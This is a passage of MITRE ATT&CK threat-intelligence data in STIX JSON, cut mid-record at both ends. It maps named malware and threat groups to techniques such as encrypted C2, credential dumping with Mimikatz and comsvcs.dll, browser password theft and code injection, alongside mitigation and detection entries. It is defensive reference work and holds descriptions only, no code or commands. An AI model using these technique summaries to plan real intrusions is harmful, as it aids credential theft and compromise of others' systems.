2023.","url":"https://learn.microsoft.com/en-us/azure/active-directory/conditional-access/concept-conditional-access-policy-common"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-16T13:57:30.012Z","description":"Use conditional access policies to block logins from non-compliant devices or from outside defined organization IP ranges.(Citation: Microsoft Common Conditional Access Policies)","relationship_type":"mitigates","source_ref":"course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b947983f-2c0a-4082-b102-8f8497e2b045","type":"relationship","created":"2021-06-22T13:12:35.418Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-22T13:12:35.418Z","description":"[SodaMaster](https://attack.mitre.org/software/S0627) can use RC4 to encrypt C2 communications.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--94d6d788-07bb-4dcc-b62f-e02626b00108","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b94e707d-b2f8-4b68-acac-44d3777dd93f","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.638Z","description":"[RedLeaves](https://attack.mitre.org/software/S0153) has encrypted C2 traffic with RC4, previously using keys of 88888888 and babybear.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b94f2e1a-a364-4bf1-af63-f9ce2b7de89b","type":"relationship","created":"2021-04-09T13:34:37.393Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intezer Doki July 20","url":"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/","description":"Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}],"modified":"2021-04-09T13:34:37.393Z","description":"[Doki](https://attack.mitre.org/software/S0600) has used the dogechain.info API to generate a C2 address.(Citation: Intezer Doki July 20)","relationship_type":"uses","source_ref":"malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b94f3018-c2f2-473e-96ee-23889cb018bb","created":"2020-01-28T13:50:22.645Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-14T13:42:11.742Z","description":"Limit the number of accounts permitted to create other accounts. Limit the usage of local administrator accounts to be used for day-to-day operations that may expose them to potential adversaries.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b957c285-b036-455d-a14f-8705838fd874","type":"relationship","created":"2020-05-20T12:49:50.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T22:47:01.056Z","description":"Limit the use of USB devices and removable media within a network.","relationship_type":"mitigates","source_ref":"course-of-action--2995bc22-2851-4345-ad19-4e7e295be264","target_ref":"attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b96089fa-ebca-4d3c-9290-473cb98ad577","type":"relationship","created":"2020-05-27T20:25:33.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 MechaFlounder March 2019","url":"https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/","description":"Falcone, R. (2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020."}],"modified":"2020-05-27T20:25:33.657Z","description":"[MechaFlounder](https://attack.mitre.org/software/S0459) has the ability to upload and download files to and from a compromised host.(Citation: Unit 42 MechaFlounder March 2019)","relationship_type":"uses","source_ref":"malware--dfa03c7d-79ed-4ce2-b9d1-ddc9dbf56ad2","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b965ddc5-3017-4857-9a3d-44aaf24b6bfd","created":"2022-09-30T19:03:08.803Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T19:03:08.803Z","description":"For [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors used dynamic DNS domains from a variety of free providers, including No-IP, Oray, and 3322.(Citation: Cylance Dust Storm) ","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b967963e-5dd4-42a3-a94e-8b3d17250aec","type":"relationship","created":"2019-08-26T15:27:12.971Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Kimsuky Sept 2013","url":"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/","description":"Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019."}],"modified":"2020-11-05T15:54:26.161Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has a HWP document stealer module which changes the default program association in the registry to open HWP documents.(Citation: Securelist Kimsuky Sept 2013)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b9688abd-0f6d-4c76-8b73-d9fe7d11f07f","created":"2020-03-20T15:25:55.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"synack 2016 review","description":"Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.","url":"https://objective-see.org/blog/blog_0x16.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:18:40.403Z","description":"[Keydnap](https://attack.mitre.org/software/S0276) puts a space after a false .jpg extension so that execution actually goes through the Terminal.app program.(Citation: synack 2016 review)","relationship_type":"uses","source_ref":"malware--4b072c90-bc7a-432b-940e-016fc1c01761","target_ref":"attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b96e67e2-7d82-478e-8bf3-2e8acf8a14dd","created":"2020-06-10T21:56:40.092Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Telebots Dec 2016","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020.","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/"},{"source_name":"ESET Telebots June 2017","description":"Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020.","url":"https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/"},{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-19T21:40:14.734Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used its plainpwd tool, a modified version of [Mimikatz](https://attack.mitre.org/software/S0002), and comsvcs.dll to dump Windows credentials from system memory.(Citation: ESET Telebots Dec 2016)(Citation: ESET Telebots June 2017)(Citation: Microsoft Prestige ransomware October 2022)\t","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b97134c8-c42a-4121-ab8b-bf519bf3d457","type":"relationship","created":"2020-10-20T03:20:36.200Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T16:32:10.976Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b979ce29-9d89-4d81-82fb-14240af7a241","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"},{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:10.221Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has sent spearphishing attachments attempting to get a user to click.(Citation: Proofpoint Leviathan Oct 2017)(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b97afcfc-489a-4d59-89b3-1533eae926e0","type":"relationship","created":"2019-06-24T17:15:43.981Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:47:00.149Z","description":"[Empire](https://attack.mitre.org/software/S0363) can use modules that extract passwords from common web browsers such as Firefox and Chrome.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b97e696f-6386-4b15-8f24-81d0abe51830","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 3","description":"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"}],"modified":"2020-03-16T16:48:24.350Z","description":"[HIDEDRV](https://attack.mitre.org/software/S0135) injects a DLL for [Downdelph](https://attack.mitre.org/software/S0134) into the explorer.exe process.(Citation: ESET Sednit Part 3)","relationship_type":"uses","source_ref":"malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b98063a7-6649-429f-8376-4d59499e7674","type":"relationship","created":"2021-04-10T14:49:05.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-04-10T14:49:05.906Z","description":"[GoldFinder](https://attack.mitre.org/software/S0597) logged and stored information related to the route or hops a packet took from a compromised machine to a hardcoded C2 server, including the target C2 URL, HTTP response/status code, HTTP response headers and values, and data received from the C2 node.(Citation: MSTIC NOBELIUM Mar 2021) ","relationship_type":"uses","source_ref":"malware--b7010785-699f-412f-ba49-524da6033c76","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b98c506f-3dd3-45c1-b81a-3e23bcfe6198","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Regin","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"}],"modified":"2020-06-29T01:54:53.447Z","description":"The [Regin](https://attack.mitre.org/software/S0019) malware platform can use Windows admin shares to move laterally.(Citation: Kaspersky Regin)","relationship_type":"uses","source_ref":"malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b98ed6ce-be41-4388-ac56-35b4e2a0bbe6","created":"2019-09-23T23:14:16.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.540Z","description":"(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"tool--9de2308e-7bed-43a3-8e58-f194b3586700","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b990e235-dcf4-48c7-800d-b8a10a62eda4","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 2017"}],"modified":"2019-07-14T21:15:55.302Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) ran a command to compile an archive of file types of interest from the victim user's directories.(Citation: SecureWorks BRONZE UNION June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b997c08e-f005-432f-8030-1903d18eec51","type":"relationship","created":"2021-08-31T17:00:18.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-08-31T17:00:18.537Z","description":"(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b997d866-0aef-4ba6-a812-cfa2fccb05af","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.022Z","description":"[RunningRAT](https://attack.mitre.org/software/S0253) contains code to compress files.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--60d50676-459a-47dd-92e9-a827a9fe9c58","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b99e218f-942b-4643-b4de-35649d2a4cbd","type":"relationship","created":"2020-06-19T19:08:40.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."},{"source_name":"Unit 42 Valak July 2020","url":"https://unit42.paloaltonetworks.com/valak-evolution/","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."}],"modified":"2020-08-31T14:56:42.782Z","description":"[Valak](https://attack.mitre.org/software/S0476) has the ability to decode and decrypt downloaded files.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9a67332-54a8-4531-948f-51e3ae2a0399","type":"relationship","created":"2020-05-26T21:02:38.815Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Netwalker May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/","description":"Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."}],"modified":"2020-06-08T16:07:36.321Z","description":"[Netwalker](https://attack.mitre.org/software/S0457) can encrypt files on infected machines to extort victims.(Citation: TrendMicro Netwalker May 2020)\t","relationship_type":"uses","source_ref":"malware--754effde-613c-4244-a83e-fb659b2a4d06","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9b0e376-f249-432f-a0d3-dfa259b4757a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye admin@338","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"}],"modified":"2020-03-17T00:28:19.704Z","description":"[BUBBLEWRAP](https://attack.mitre.org/software/S0043) can communicate using SOCKS.(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"malware--123bd7b3-675c-4b1a-8482-c55782b20e2b","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9b28368-527c-4b13-9350-b2cda637e711","type":"relationship","created":"2019-03-11T20:01:20.374Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.900Z","description":"[Empire](https://attack.mitre.org/software/S0363) can enumerate antivirus software on the target.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9b2ddad-acb6-4e97-966c-ff18fd36cea3","type":"relationship","created":"2019-01-29T19:36:02.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"ESET. (2017, March 30). Carbon Paper: Peering into Turla’s second stage backdoor. Retrieved November 7, 2018.","url":"https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/","source_name":"ESET Carbon Mar 2017"}],"modified":"2020-03-16T15:34:14.043Z","description":"[Carbon](https://attack.mitre.org/software/S0335) has a command to inject code into a process.(Citation: ESET Carbon Mar 2017)","relationship_type":"uses","source_ref":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9b487ad-f3ad-4065-8cff-efd62135c1f1","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b9b622ad-856a-48f9-a768-ef05bd2914fe","type":"relationship","created":"2020-06-08T17:03:53.022Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-08T17:03:53.022Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to steal web session cookies from Internet Explorer, Netscape Navigator, FireFox and RealNetworks applications.(Citation: Kaspersky TajMahal April 